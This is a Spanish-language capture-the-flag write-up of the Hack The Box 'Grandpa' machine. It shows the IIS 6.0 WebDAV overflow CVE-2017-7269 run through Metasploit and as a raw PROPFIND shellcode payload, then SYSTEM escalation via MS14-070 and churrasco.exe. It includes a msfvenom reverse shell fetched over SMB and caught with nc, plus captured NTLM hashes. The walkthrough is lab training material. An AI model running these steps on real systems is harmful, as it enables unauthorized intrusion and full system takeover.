Grandpa
Dificultad: Easy - OS: Windows
Enumeración de puertos/servicios
┌──(root㉿kali)-[/home/kali/Documents/HTB/GRANDPA]
└─# nmap -sCV --open -T4 -v -n 10.10.10.14
Resultado:
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 6.0
| http-webdav-scan:
| Server Date: Tue, 17 Jun 2025 18:18:19 GMT
| Public Options: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH
| WebDAV type: Unknown
| Server Type: Microsoft-IIS/6.0
|_ Allowed Methods: OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK
| http-methods:
| Supported Methods: OPTIONS TRACE GET HEAD COPY PROPFIND SEARCH LOCK UNLOCK DELETE PUT POST MOVE MKCOL PROPPATCH
|_ Potentially risky methods: TRACE COPY PROPFIND SEARCH LOCK UNLOCK DELETE PUT MOVE MKCOL PROPPATCH
|_http-server-header: Microsoft-IIS/6.0
|_http-title: Under Construction
| http-ntlm-info:
| Target_Name: GRANPA
| NetBIOS_Domain_Name: GRANPA
| NetBIOS_Computer_Name: GRANPA
| DNS_Domain_Name: granpa
| DNS_Computer_Name: granpa
|_ Product_Version: 5.2.3790
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
El resultado del escaner de nmap nos arrojó mucha información sobre el objetivo, pero lo que se destaca es lo siguiente:
El puerto 80/tcp está abierto y corre Microsoft IIS httpd 6.0, una versión muy antigua
El encabezado HTTP (
http-server-header
) y el scripthttp-ntlm-info
confirman que el sistema operativo es Windows Server 2003 (versión 5.2.3790), donde IIS 6.0 es nativo.El script
http-webdav-scan
muestra que WebDAV está habilitado, evidenciado por la presencia de métodos comoPROPFIND
,LOCK
,UNLOCK
,MKCOL
,SEARCH
, entre otros.El método
PROPFIND
, específicamente, es esencial para explotar la función vulnerableScStoragePathFromUrl
en el CVE-2017-7269.La enumeración de métodos HTTP (
http-methods
) incluye métodos potencialmente peligrosos (PUT
,DELETE
,MOVE
,PROPPATCH
), lo que sugiere una configuración insegura y una mayor superficie de ataque.
Para resolver esta máquina podemos seguir un procedimiento automático con Metasploit o realizarlo de forma manual con exploits de github, en este writeup se mostrarán ambos procedimientos
Procedimiento automatizado: MSFConsole
Como bien nos reportó nmap el objetivo corre un Microsoft IIS httpd 6.0 y tiene WebDAV habilitado, entonces podemos buscar algún exploit en la base de datos de metasploit para utilizar contra esta máquina con esas características
msf6 > search iis webdav
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/windows/iis/ms03_007_ntdll_webdav 2003-05-30 great Yes MS03-007 Microsoft IIS 5.0 WebDAV ntdll.dll Path Overflow
1 exploit/windows/ssl/ms04_011_pct 2004-04-13 average No MS04-011 Microsoft Private Communications Transport Overflow
2 \_ target: Windows 2000 SP4 . . . .
3 \_ target: Windows 2000 SP3 . . . .
4 \_ target: Windows 2000 SP2 . . . .
5 \_ target: Windows 2000 SP1 . . . .
6 \_ target: Windows 2000 SP0 . . . .
7 \_ target: Windows XP SP0 . . . .
8 \_ target: Windows XP SP1 . . . .
9 auxiliary/scanner/http/dir_webdav_unicode_bypass . normal No MS09-020 IIS6 WebDAV Unicode Auth Bypass Directory Scanner
10 auxiliary/scanner/http/ms09_020_webdav_unicode_bypass . normal No MS09-020 IIS6 WebDAV Unicode Authentication Bypass
11 exploit/windows/iis/iis_webdav_upload_asp 2004-12-31 excellent No Microsoft IIS WebDAV Write Access Code Execution
12 exploit/windows/iis/iis_webdav_scstoragepathfromurl 2017-03-26 manual Yes Microsoft IIS WebDav ScStoragePathFromUrl Overflow
Interact with a module by name or index. For example info 12, use 12 or use exploit/windows/iis/iis_webdav_scstoragepathfromurl
msf6 > use 12
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/iis/iis_webdav_scstoragepathfromurl) > set rport 80
rport => 80
msf6 exploit(windows/iis/iis_webdav_scstoragepathfromurl) > set rhost 10.10.10.14
rhost => 10.10.10.14
msf6 exploit(windows/iis/iis_webdav_scstoragepathfromurl) > set lhost 10.10.14.4
lhost => 10.10.14.4
msf6 exploit(windows/iis/iis_webdav_scstoragepathfromurl) > set payload windows/meterpreter/reverse_tcppayload => windows/meterpreter/reverse_tcp
msf6 exploit(windows/iis/iis_webdav_scstoragepathfromurl) > exploit
[*] Started reverse TCP handler on 10.10.14.4:4444
[*] Trying path length 3 to 60 ...
[*] Sending stage (177734 bytes) to 10.10.10.14
[*] Meterpreter session 1 opened (10.10.14.4:4444 -> 10.10.10.14:1030) at 2025-06-17 21:41:53 -0400
Para este caso nos va a servir el exploit/windows/iis/iis_webdav_scstoragepathfromurl
Una vez que lo seteamos y lo ejecutamos se nos va a abrir una sesión de meterpreter. Al intentar enumerar información del sistema tendremos un problema de accesos ("Operation failed: Access is denied
") y esto se debe a que la sesión que nos creó el exploit no tiene los permisos suficientes para ejecutar ese tipo de comandos. Cuando se ejecutó el exploit la sesión de Meterpreter que se nos crea suele ejecutarse bajo el contexto de la cuenta que usa IIS para procesar solicitudes web. En el caso de Windows Server 2003 con IIS 6.0, eso puede variar según la configuración, pero típicamente es una de las siguientes:
IUSR_<MachineName> Es una cuenta predefinida utilizada para solicitudes anónimas. Tiene privilegios muy limitados. → Si la sesión se ejecuta bajo esta cuenta, comandos como
sysinfo
,getuid
y muchas funciones de Meterpreter pueden fallar.IWAM_<MachineName> Se usa para ejecutar aplicaciones web aisladas. También tiene permisos restringidos.
NT AUTHORITY\NETWORK SERVICE Esta cuenta es más privilegiada que las anteriores y puede ejecutar tareas de red, cargar servicios, etc., pero no es SYSTEM.
NT AUTHORITY\LOCAL SERVICE Similar en permisos a NETWORK SERVICE, pero con menos acceso de red.
Teniendo en cuenta esto lo que vamos a hacer ahora es enumerar procesos del sistema desde meterpreter y seleccionar alguno que cumpla las siguientes condiciones
Estabilidad: Debe ser un proceso del sistema que se mantenga corriendo durante la sesión. Algunos procesos como
rundll32.exe
ocidaemon.exe
pueden finalizarse inesperadamente.Mismo tipo de arquitectura: Debe ser un proceso de 32 bits (x86), porque estamos atacando un Windows Server 2003 x86. No podemos migrar a procesos de distinta arquitectura.
Seleccionar el proceso que esté bajo algún usuario con más privilegios como el NETWORK SERVICE
meterpreter > sysinfo
[-] stdapi_sys_config_getuid: Operation failed: Access is denied.
meterpreter > ps
Process List
============
PID PPID Name Arch Session User Path
--- ---- ---- ---- ------- ---- ----
0 0 [System Process]
4 0 System
272 4 smss.exe
316 1504 w3wp.exe x86 0 NT AUTHORITY\NETWORK SERVICE c:\windows\system32\inetsrv\w3wp.exe
320 272 csrss.exe
344 272 winlogon.exe
392 344 services.exe
404 344 lsass.exe
580 392 svchost.exe
668 392 svchost.exe
732 392 svchost.exe
772 392 svchost.exe
788 392 svchost.exe
924 392 spoolsv.exe
952 392 msdtc.exe
1076 392 cisvc.exe
1116 392 svchost.exe
1172 392 inetinfo.exe
1208 392 svchost.exe
1312 580 davcdata.exe x86 0 NT AUTHORITY\NETWORK SERVICE C:\WINDOWS\system32\inetsrv\davcdata.exe
1320 392 VGAuthService.exe
1396 392 vmtoolsd.exe
1504 392 svchost.exe
1608 392 svchost.exe
1828 392 dllhost.exe
1876 392 alg.exe
1924 580 wmiprvse.exe x86 0 NT AUTHORITY\NETWORK SERVICE C:\WINDOWS\system32\wbem\wmiprvse.exe
2136 316 rundll32.exe x86 0 C:\WINDOWS\system32\rundll32.exe
2408 580 wmiprvse.exe
2552 344 logon.scr
3816 1076 cidaemon.exe
3860 1076 cidaemon.exe
3888 1076 cidaemon.exe
meterpreter > migrate 1312
[*] Migrating from 2136 to 1312...
[*] Migration completed successfully.
meterpreter > sysinfo
Computer : GRANPA
OS : Windows Server 2003 (5.2 Build 3790, Service Pack 2).
Architecture : x86
System Language : en_US
Domain : HTB
Logged On Users : 2
Meterpreter : x86/windows
meterpreter > background
[*] Backgrounding session 1...
Las razones por las que se migra a davcdata.exe
son básicamente las siguientes:
Mayor estabilidad del proceso: La sesión inicial obtenida por el exploit CVE-2017-7269 suele estar vinculada a un proceso creado de manera efímera o poco estable, que a veces tiene permisos restringidos, como el proceso
rundll32.exe
(PID 2136 en este caso). Estos procesos pueden cerrarse o bloquear comandos básicos, comosysinfo
ogetuid
, lo cual impide operar normalmente.Proceso perteneciente a NETWORK SERVICE:
davcdata.exe
corre bajo la cuenta NT AUTHORITY\NETWORK SERVICE, que es un contexto más privilegiado que cuentas como IUSR o cuentas anónimas. Aunque no es SYSTEM, este contexto tiene suficientes privilegios para ejecutar herramientas de escalada de privilegios como ellocal_exploit_suggester
y, más importante, es el tipo de cuenta desde la cual suelen funcionar bien los exploits locales como MS14-070.Proceso confiable del sistema y persistente:
davcdata.exe
es parte del sistema IIS y se ejecuta como servicio del sistema (de hecho se encuentra enC:\WINDOWS\system32\inetsrv\
), por lo que es estable, de mayor duración, y menos propenso a cerrarse inesperadamente durante el post-exploitation.
Privilege Escalation
Por último mandamos a segundo plano la sesión de meterpreter e implementamos el módulo local_exploit_suggester
para buscar algún módulo o exploit de metasploit que nos permita escalar privilegios. En este caso nos servirá el exploit/windows/local/ms14_070_tcpip_ioctl
msf6 exploit(windows/iis/iis_webdav_scstoragepathfromurl) > use post/multi/recon/local_exploit_suggester
msf6 post(multi/recon/local_exploit_suggester) > set session 1
session => 1
msf6 post(multi/recon/local_exploit_suggester) > run
[*] 10.10.10.14 - Collecting local exploits for x86/windows...
/usr/share/metasploit-framework/vendor/bundle/ruby/3.3.0/gems/logging-2.4.0/lib/logging.rb:10: warning: /usr/lib/x86_64-linux-gnu/ruby/3.3.0/syslog.so was loaded from the standard library, but will no longer be part of the default gems starting from Ruby 3.4.0.
You can add syslog to your Gemfile or gemspec to silence this warning.
Also please contact the author of logging-2.4.0 to request adding syslog into its gemspec.
[*] 10.10.10.14 - 204 exploit checks are being tried...
[+] 10.10.10.14 - exploit/windows/local/ms10_015_kitrap0d: The service is running, but could not be validated.
[+] 10.10.10.14 - exploit/windows/local/ms14_058_track_popup_menu: The target appears to be vulnerable.
[+] 10.10.10.14 - exploit/windows/local/ms14_070_tcpip_ioctl: The target appears to be vulnerable.
[+] 10.10.10.14 - exploit/windows/local/ms15_051_client_copy_image: The target appears to be vulnerable.
[+] 10.10.10.14 - exploit/windows/local/ms16_016_webdav: The service is running, but could not be validated.
[+] 10.10.10.14 - exploit/windows/local/ms16_075_reflection: The target appears to be vulnerable.
[+] 10.10.10.14 - exploit/windows/local/ppr_flatten_rec: The target appears to be vulnerable.
[*] Running check method for exploit 42 / 42
[*] 10.10.10.14 - Valid modules for session 1:
============================
# Name Potentially Vulnerable? Check Result
- ---- ----------------------- ------------
1 exploit/windows/local/ms10_015_kitrap0d Yes The service is running, but could not be validated.
2 exploit/windows/local/ms14_058_track_popup_menu Yes The target appears to be vulnerable.
3 exploit/windows/local/ms14_070_tcpip_ioctl Yes The target appears to be vulnerable.
4 exploit/windows/local/ms15_051_client_copy_image Yes The target appears to be vulnerable.
5 exploit/windows/local/ms16_016_webdav Yes The service is running, but could not be validated.
6 exploit/windows/local/ms16_075_reflection Yes The target appears to be vulnerable.
7 exploit/windows/local/ppr_flatten_rec Yes The target appears to be vulnerable.
msf6 exploit(windows/ssl/ms04_011_pct) > use exploit/windows/local/ms14_070_tcpip_ioctl
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/local/ms14_070_tcpip_ioctl) > set session 1
session => 1
msf6 exploit(windows/local/ms14_070_tcpip_ioctl) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(windows/local/ms14_070_tcpip_ioctl) > set lhost 10.10.14.4
lhost => 10.10.14.4
msf6 exploit(windows/local/ms14_070_tcpip_ioctl) > run
[*] Started reverse TCP handler on 10.10.14.4:4444
[*] Storing the shellcode in memory...
[*] Triggering the vulnerability...
[*] Checking privileges after exploitation...
[+] Exploitation successful!
[*] Sending stage (177734 bytes) to 10.10.10.14
[*] Meterpreter session 2 opened (10.10.14.4:4444 -> 10.10.10.14:1031) at 2025-06-17 21:50:33 -0400
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > search -f user.txt
Found 1 result...
=================
Path Size (bytes) Modified (UTC)
---- ------------ --------------
c:\Documents and Settings\Harry\Desktop\user.txt 32 2017-04-12 10:32:26 -0400
meterpreter > cat 'c:\Documents and Settings\Harry\Desktop\user.txt'
bdff5ec67c**********************
meterpreter > search -f root.txt
Found 1 result...
=================
Path Size (bytes) Modified (UTC)
---- ------------ --------------
c:\Documents and Settings\Administrator\Desktop\root.txt 32 2017-04-12 10:29:33 -0400
meterpreter > cat 'c:\Documents and Settings\Administrator\Desktop\root.txt'
9359e905a**********************
Procedimiento manual
Para la intrusión manual vamos a usar el exploit iis6-exploit-2017-CVE-2017-7269 que fue diseñado para aprovechar la vulnerabilidad CVE-2017-7269, que afecta a Microsoft IIS 6.0 cuando tiene habilitado WebDAV y que nos va a permitir ejecutar código remoto en el servidor sin autenticación. Antes de ejecutarlo vamos a levantar un listener con nc
por el puerto 8888 para recibir la conexión reversa que nos enviara el exploit
┌──(root㉿kali)-[/home/kali/Documents/HTB/GRANDPA]
└─# python2 exploit.py 10.10.10.14 80 10.10.14.4 8888
PROPFIND / HTTP/1.1
Host: localhost
Content-Length: 1744
If: <http://localhost/aaaaaaa₩ᄑᄄᄀᆪンᄀトᄈ₩ᄂᄊ¦ンᄇᄄᄍ¦ᆳᄋ¦ᄑᄚユモᄅマ¦ᄀᄄ¥ルᆪ₩ᄉヤ₩ᄀナ ̄ᆬモ¥チᆲ¥ユᄃ₩ンᆪ ̄ヘᄂ¦リᄚᄀナ₩ᆬメ¥ミᄆ¦ᄆリ₩ᄅムノチ¦ネᄆタᄉ¥ᄀミ ̄ルᄂ₩ᄆヌ ̄ヤᄍ¥ムᆰ¥タᄡ¥ムテンメ¥チᄀ ̄ネᄇ₩ᄉヒ₩ᄚᄡ ̄ノヌ₩ノチ ̄ンヘ¥ナᄀ¥ᄀᄁ¦ンᄈ¥ノミ ̄ルᄚユト₩ᄀᆰ ̄ヘᄡ¦ᄍハᄀᆱ¦ᆬᄊ¦ᄍᄈ¦ᄆᆰ¥ンᄎ₩ᄑᄆ¥ᄀハ ̄ネᄚ ̄ンᆴ¦ᆳノ¥ノヘ¦ᄀᆪ₩ᄑフユヨユᄉ₩ルᆵルᄄ¦ムヘ¥チᄚᄄᄊ₩ノヒ₩ユラユミ₩ᄅᄇᄅᆱンᄁルリ₩ノネ₩ヤᄆ ̄チヤ₩ᄆᄍ¥チハ¥ムᄁ¥タᄈ ̄ユᄋ₩ᄅᄋ¦ナト ̄フᄡ₩ムᄊ¦ᄉニ¥ルヤ¦ンᆲ₩ユテリᄇノᄌ¥ンᄅ¦フᄌ₩ノᄇ¥ᄄᄚ¥ᄂᄌ¥ムネツツ£ヒタ₩ᅠテ₩ᄆト¥ノヨ¦ᆲᄋ₩ᄆᆳ¦ᄑリ¥ᄀレᆬミ¦ᆬᆰ¥ᄀマ¦ᄅメ¦ナミ₩ルヘ£マタ₩ᅠテ¦ᅠᄡ₩ヤᄆ₩ᄑテ₩ᄍᆭムチ¦ヘᆲ£マタ₩ᅠテ¥ヘテ₩ᄅチチメ ̄フᄚ¥ᄀᆭ¦ノフチヒ₩ヘニ¥ナᄈᆬチᄅミ¦ᄅᆲ> (Not <locktoken:write1>) <http://localhost/bbbbbbbᆬネ₩ナᄉ¦ᄑテ₩ᄑᄃ₩ᆳᆵ¦ᄀナ ̄ルニ₩ンᄉ¦ミᄈ ̄ᄀᄆ¥ンᆬ¥ᄅᄁ¥ミᄉ¥ルᄀ₩ᆬメ₩ᄅモ¥ナラ ̄ᄀホ¥ᆬネ₩ヘユ¦ᆬᄆ¦ヘᄂ₩ムᄇ ̄ムᄄ¦ンリナᄍ ̄ヘᆱ₩ᆳユ₩ᄉネ¥チマᄅニ ̄ムᄆ₩ᄑヤムテ¥ᆬヨ₩ᄑᆵヘチ ̄ムラ₩ナᄄᄅᄇ ̄ンナ¦ᄉノ¥ンホ¥ムネ¦ᄚᄌ ̄ルᄎ ̄ユᄇ₩ノᆭ₩ᄍテ¦ᄀᆳ ̄ユネ₩ナᄋ¦ᄉレ₩ナᄡ¦トᄈ¦ヘᆬ¥ノᄇ₩ᄉᄅ ̄ルᄆ¦ᄍᄂ₩ᄌᄍ₩ヘモ₩ᆳᄂ¥ナニ¦ᄐᄚᄀᆵノモ₩ンミ¦ユモᄅᆪトᄍ¦ᄑモ¦ムヨ₩ᄐᄊヘᄍ₩ᄀᄋᄅヨ₩ナハ ̄ᆬナ ̄リᄍ₩ᄚᄍ¦ヤᄆ ̄ムᄇ¥ヘᆬ¥ᄀハ¦ムホᄅト₩ᄚᄉ¥ᄅヨ₩ノチ₩ᄍᄇ₩リᄆ¥ᆬル¥ミᄈ ̄ナツ¥ᄀᆬ¥ᆬチナミ ̄タᄊ¥ンᄋ¦ムラ¥ヘᄀ£マタ₩ᅠテ₩ᄍマ₩ᅠタ₩ᄍマ₩ᅠタ¦ノヌルᆰ£マタ₩ᅠテ¦ノラ¦ᄑᄡ¥ᆬヌ¥ネᄡ¦ᆳᆭ¦ᆳツムᄂᄀᆵ₩ツツ₩ᅠチ¥トᄉノᄎムᄎ¦ᄉヌ¦ムル¥ンラ→トモ₩ᅠタ ̄ナᄊ₩ᄍᆵ¬モᆪ₩ᅠチ£ムᅠ₩ᅠテᄒ£マタ₩ᅠテᆴ₩ᅠテナᆴムᄚ£ミᄡ₩ᅠテ¬ᄃᄃ₩ᅠチ←ホム₩ᅠタ ̄ᄂᄆ₩ルᆴ¦ᆬユ ̄チメ¥ムᆱルᆱノハᆬᄀ£ミワ₩ᅠテ₩ᄌナ₩ᅠタワᄇᆬᄄ¦ᄉᄅ ̄ルᆲ¦ムᄄ¦ᄉᄚ│ノニ₩ᅠタ¦ᄀᄋ ̄ノモ£ᄊᆰ₩ᅠツ₩ᄑᆰ¦フᄉ£マᄌ₩ᅠテ¬ᄃᄃ₩ᅠチVVYA4444444444QATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABABAB30APB944JBRDDKLMN8KPM0KP4KOYM4CQJINDKSKPKPTKKQTKT0D8TKQ8RTJKKX1OTKIGJSW4R0KOIBJHKCKOKOKOF0V04PF0M0A>
Nota: al clonar el repositorio del exploit vamos a encontrar en el folder el archivo iis6 reverse shell
, yo lo que hice fue cambiarle el nombre a exploit.py
y agregarle la extension .py
para poder ejecutarlo con python2
La sesión que obtuvimos con el exploit corresponde al usuario nt authority\network service
y si vemos los permisos que tiene en el sistema nos vamos a encontrar con el SeImpersonatePrivilege
habilitado. Este permiso nos permite básicamente que un proceso suplante la identidad de otro usuario autenticado. Es decir, un proceso con este privilegio puede hacerse pasar por otro, siempre que tenga acceso a un token de seguridad válido (por ejemplo, el de un usuario administrador o SYSTEM). Pero ¿Por qué lo tiene NT AUTHORITY\NETWORK SERVICE
? La cuenta NETWORK SERVICE
está diseñada para ejecutar servicios de red que necesitan operar con ciertos privilegios. Microsoft le otorgó SeImpersonatePrivilege
para permitirle interactuar con recursos del sistema cuando es necesario. Sin embargo, en un contexto inseguro (como un sistema sin parches o mal configurado), esto puede ser explotado para escalar a SYSTEM.
┌──(root㉿kali)-[/home/kali/Documents/HTB/GRANDPA]
└─# nc -lvnp 8888
listening on [any] 8888 ...
connect to [10.10.14.4] from (UNKNOWN) [10.10.10.14] 1030
Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.
c:\windows\system32\inetsrv>whoami
whoami
nt authority\network service
c:\windows\system32\inetsrv>whoami /priv
whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ========================================= ========
SeAuditPrivilege Generate security audits Disabled
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled
SeAssignPrimaryTokenPrivilege Replace a process level token Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
c:\windows\system32\inetsrv>net user
net user
User accounts for \\GRANPA
-------------------------------------------------------------------------------
Administrator ASPNET Guest
Harry IUSR_GRANPA IWAM_GRANPA
SUPPORT_388945a0
The command completed successfully.
Privilege Escalation
Entonces para abusar del permiso SeImpersonatePrivilege
vamos a utilizar el exploit churrasco.exe que básicamente se encarga de explotar una vulnerabilidad de diseño en el servicio CreateProcessWithTokenW
, que puede ser llamado por procesos con el privilegio SeImpersonatePrivilege
para ejecutar comandos arbitrarios con los privilegios de SYSTEM. Entonces una vez que descarguemos el ejecutable vamos a levantar un servidor smb con impacket-smbserver en el directorio donde se encuentra churrasco.exe
para luego descargarlo desde la sesión remota del equipo comprometido
┌──(root㉿kali)-[/home/kali/Documents/HTB/GRANDPA]
└─# wget https://github.com/Re4son/Churrasco/blob/master/churrasco.exe
--2025-06-19 00:39:53-- https://github.com/Re4son/Churrasco/blob/master/churrasco.exe
Resolving github.com (github.com)... 20.201.28.151
Connecting to github.com (github.com)|20.201.28.151|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/html]
Saving to: ‘churrasco.exe’
churrasco.exe [ <=> ] 176.63K --.-KB/s in 0.1s
2025-06-19 00:39:54 (1.65 MB/s) - ‘churrasco.exe’ saved [180869]
┌──(root㉿kali)-[/home/kali/Documents/HTB/GRANDPA]
└─# impacket-smbserver smbFolder $(pwd)
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Incoming connection (10.10.10.14,1035)
[*] AUTHENTICATE_MESSAGE (HTB\GRANPA$,GRANPA)
[*] User GRANPA\GRANPA$ authenticated successfully
[*] GRANPA$::HTB:f1f3663cde5c8c6600000000000000000000000000000000:579a7daa1068751db94158ba66a0cac25899f863bfb5d37b:aaaaaaaaaaaaaaaa
[*] Closing down connection (10.10.10.14,1035)
[*] Remaining connections []
copy \\10.10.14.4\smbFolder\churrasco.exe churrasco.exe
Nota: antes de descargar el ejecutable nos tenemos que mover al directorio C:\Windows\Temp
donde podremos realizar la descarga sin problemas
La forma de usar este ejecutable es la siguiente .\churrasco.exe "comando"
en este caso le pasamos el comando "whoami"
para confirmar que somos el usuario nt authority\system
c:\windows\system32\inetsrv>cd C:\Windows\Temp
cd C:\Windows\Temp
C:\WINDOWS\Temp>copy \\10.10.14.4\smbFolder\churrasco.exe churrasco.exe
copy \\10.10.14.4\smbFolder\churrasco.exe churrasco.exe
1 file(s) copied.
C:\WINDOWS\Temp>.\churrasco.exe "whoami"
.\churrasco.exe "whoami"
nt authority\system
Ahora simplemente podemos buscar y leer las flags o también aprovechar este ejecutable para enviarnos una reverse shell con la cuenta de nt authority\system
. El procedimiento es muy sencillo, primero vamos a crear un payload con msfvenom, luego levantaremos un servidor smb con impacket-smbserver para poder descargar el payload shell.exe
desde el equipo comprometido, por último levantamos un listener en el kali y ejecutamos el payload haciendo uso del exploit churrasco.exe
1) Creamos el payload con msfvenom. En LHOST
ponemos la IP de nuestro equipo y en LPORT
el puerto que usaremos para el listener
┌──(root㉿kali)-[/home/kali/Documents/HTB/GRANDPA]
└─# msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.4 LPORT=4444 -f exe -o shell.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 324 bytes
Final size of exe file: 73802 bytes
Saved as: shell.exe
2) Levantamos un servidor smb desde el directorio donde se encuentra el payload usando impacket-smbserver
┌──(root㉿kali)-[/home/kali/Documents/HTB/GRANDPA]
└─# impacket-smbserver smbFolder $(pwd)
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Incoming connection (10.10.10.14,1043)
[*] AUTHENTICATE_MESSAGE (HTB\GRANPA$,GRANPA)
[*] User GRANPA\GRANPA$ authenticated successfully
[*] GRANPA$::HTB:7eba716f741444a600000000000000000000000000000000:a77c1d8fface2c2bd79613cb9a4f99d69a7b636a6855d17d:aaaaaaaaaaaaaaaa
[*] AUTHENTICATE_MESSAGE (\,GRANPA)
[*] User GRANPA\ authenticated successfully
[*] :::00::aaaaaaaaaaaaaaaa
[*] Closing down connection (10.10.10.14,1043)
[*] Remaining connections []
copy \\10.10.14.4\smbFolder\shell.exe shell.exe[*] Incoming connection (10.10.10.14,1043)
3) Descargamos el payload en el directorio C:\WINDOWS\Temp
del equipo comprometido, luego en Kali levantamos el listener y ejecutamos el shell.exe
haciendo uso del exploit churrasco.exe
C:\WINDOWS\Temp>copy \\10.10.14.4\smbFolder\shell.exe shell.exe
copy \\10.10.14.4\smbFolder\shell.exe
1 file(s) copied.
C:\WINDOWS\Temp>dir
dir
Volume in drive C has no label.
Volume Serial Number is FDCB-B9EF
Directory of C:\WINDOWS\Temp
06/19/2025 06:25 AM <DIR> .
06/19/2025 06:25 AM <DIR> ..
06/19/2025 06:12 AM 31,232 churrasco.exe
06/19/2025 06:33 AM 73,802 shell.exe
02/18/2007 03:00 PM 22,752 UPD55.tmp
12/24/2017 08:19 PM <DIR> vmware-SYSTEM
06/19/2025 06:01 AM 22,554 vmware-vmsvc.log
09/16/2021 01:15 PM 5,826 vmware-vmusr.log
06/19/2025 06:04 AM 637 vmware-vmvss.log
6 File(s) 156,803 bytes
3 Dir(s) 1,317,265,408 bytes free
C:\WINDOWS\Temp>.\churrasco.exe "shell.exe"
churrasco.exe "shell.exe"
Bingo! ( ͡• ͜ʖ ͡•)
┌──(root㉿kali)-[/home/kali/Documents/HTB/GRANDPA]
└─# nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.14.4] from (UNKNOWN) [10.10.10.14] 1045
Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.
C:\WINDOWS\TEMP>whoami
whoami
nt authority\system
Last updated